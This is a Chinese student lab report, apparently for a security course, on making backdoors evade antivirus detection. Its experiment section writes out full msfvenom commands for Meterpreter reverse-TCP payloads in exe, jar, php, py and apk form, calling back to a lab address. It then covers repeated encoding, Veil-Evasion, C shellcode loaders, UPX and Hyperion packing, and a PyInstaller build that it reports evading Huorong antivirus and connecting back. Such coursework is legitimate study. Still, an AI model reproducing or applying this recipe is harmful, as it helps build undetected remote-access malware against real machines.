1.实验内容
1.1本周学习内容
免杀:Virus AV,反杀毒技术,对恶意软件做处理,让它不被杀毒软件所检测;
免杀技术:修改特征码、修改校验和、花指令免杀、加壳免杀(加密壳+压缩壳)、内存免杀
1.2实践内容
掌握免杀原理与技术
使用Msfvenom、veil等工具生成后门代码,使用加壳工具、改变编码方式等操作实现免杀;通过virscan、virustotal等工具对生成的payload进行风险检测;
1.3问题回答
(1)杀软是如何检测出恶意代码的?
通过“特征” 和 “行为”两个维度识别恶意代码,包括特征码检测(通过对比数据库中的恶意代码片段判定),行为分析(监控程序运行时的行为,判定是否符合恶意行为模型)和启发式检测(属于“预测型”检测,对未知文件分析其代码结构、逻辑流程判断是否属于恶意程序);
(2)免杀是做什么?
免杀是通过技术手段,修改或隐藏恶意代码的特征、行为,使其绕过杀软的检测机制,从而在目标设备上正常运行的技术;
(3)免杀的基本方法有哪些?
修改特征码、修改校验和、花指令免杀、加壳免杀(加密壳+压缩壳)、内存免杀;
2.实验过程
2.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用msf编码器,使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 -f exe >20232425_1.exe生成一个后门可执行文件
(2)将生成的后门放入virustotal中进行检测
如图所示免杀效果为49/71,后门很容易被检测,因此尝试用msf对后门程序进行一次到多次的编码,查看重新编码后的程序在AV中的扫描效果
(3)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.91.131 LPORT=2302 -f exe >20232425_2.exe,并进行检测
如图所示免杀效果为43/71,效果还是不好
(4)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.91.131 LPORT=2302 -f exe >20232425_3.exe对后门进行12次编码,并进行检测
如图所示效果依旧不好
(5)使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 -f jar >20232425.jar生成jar文件,并进行检测
如图所示,有了效果但并不明显
(6)msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 x >20232425.php生成.php文件,并进行检测
效果较为明显
(7)使用msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 -f >20232425.py生成.py文件,并进行检测
py效果是最好的
(8)使用msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 x >20232425.apk生成.apk文件,并进行检测
2.2使用veil-evasion生成后门程序
(1)先更改虚拟机的内存留出足够的空间安装veil,接着使用sudo apt -y install veil和usr/share/veil/config/setup.sh --force --silent安装
(2)接着打开veil并输入use 1进入Evasion模块
(3)输入list查看载荷种类
如图所示载荷c/meterpreter/rev_tcp的序号为7
(4)通过上述的序号查看使用use 7选择该载荷并输入以下代码进行配置
set LHOST 192.168.91.131
set LPORT 2302
generate
(5)找到后门程序20232425.exe,并进行检测
如图所示效果依旧不佳
2.3使用C + shellcode编程实现免杀
(1)使用msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.91.131LPORT=2302 -f c对2302.c进行编辑,将buf添加到代码中
(2)输入i686-w64-mingw32-g++ 20232425.c -o 20232425__111.exe运行程序并进行检测
效果如图
2.4加壳工具
(1)使用命令upx 20232425_111.exe -o 20232425_111_upx.exe对exe程序进行加壳,并进行扫描
如图所示免杀效果降低了,说明upx工具已被杀毒软件标记,因此更容易被检测
(2)接着进入上述目录下使用wine hyperion.exe -v 20232302_111.exe 20232302_111_hyp.exe,使用wine在linux下运行hyperion加密器对文件进行加密,并进行检测
如图所示,效果还是不行,因此hyperion不适用
2.5通过组合应用各种技术实现恶意代码免杀
在上述的实验过程中可以发现py文件具有最好的免杀效果所以我们继续用。Py文件并将它传到主机上
此时要在主机的终端上安装PyInstaller使用py -m PyInstaller -Fw 20232425111.py这样可以将.py文件打包成.exe,接着进行检测
如图所示达到免杀效果
2.6使用火绒杀毒软件,并在虚拟机上完成回连
(1)重新生成一个文件过程和上面一样的.py文件,注意要在终端进行重新打包py -m PyInstaller -Fw--hidden-import=getpass --hidden-import=code--hidden-import=platform--hidden-import=shlex20232425_666.py
(2)在主机端用火绒查杀
如图所示可以达到免杀效果
(3)进行监听和回连测试
成功
3.问题及解决方案
- 问题1:在win虚拟机中运行生成的载荷时,出现找不到.dll库的问题
- 问题1解决方案:在自己的主电脑中使用everything搜索这个库文件,找到这个文件后将其复制到载荷文件的路径下后,正常运行
4.学习感悟、思考等
通过本次实验,我掌握了基础的免杀技术,例如使用msfconsole进行多次编码生成后门文件,以及通过压缩、加密等方式进行“套壳”处理,同时也实践了veil等工具的使用,并尝试了多种技术的组合运用。结合上次实验涉及的后门程序,我深刻体会到网络攻防技术的强大与微妙。曾经在我眼中难以逾越的杀毒软件防御,实际上也存在被绕过的方法。当然,实现免杀后如何将后门程序传递到目标主机仍是实际攻击中的关键一环,例如通过邮件附件等方式传输文件也需警惕——这也提醒我们,不可随意点开来路不明的文件。
每次实验不仅让我对技术有了更深入的掌握,也同样增强了我的安全意识。即使站在攻击者的角度,也应当始终保持被攻击者的警觉。
浙公网安备 33010602011771号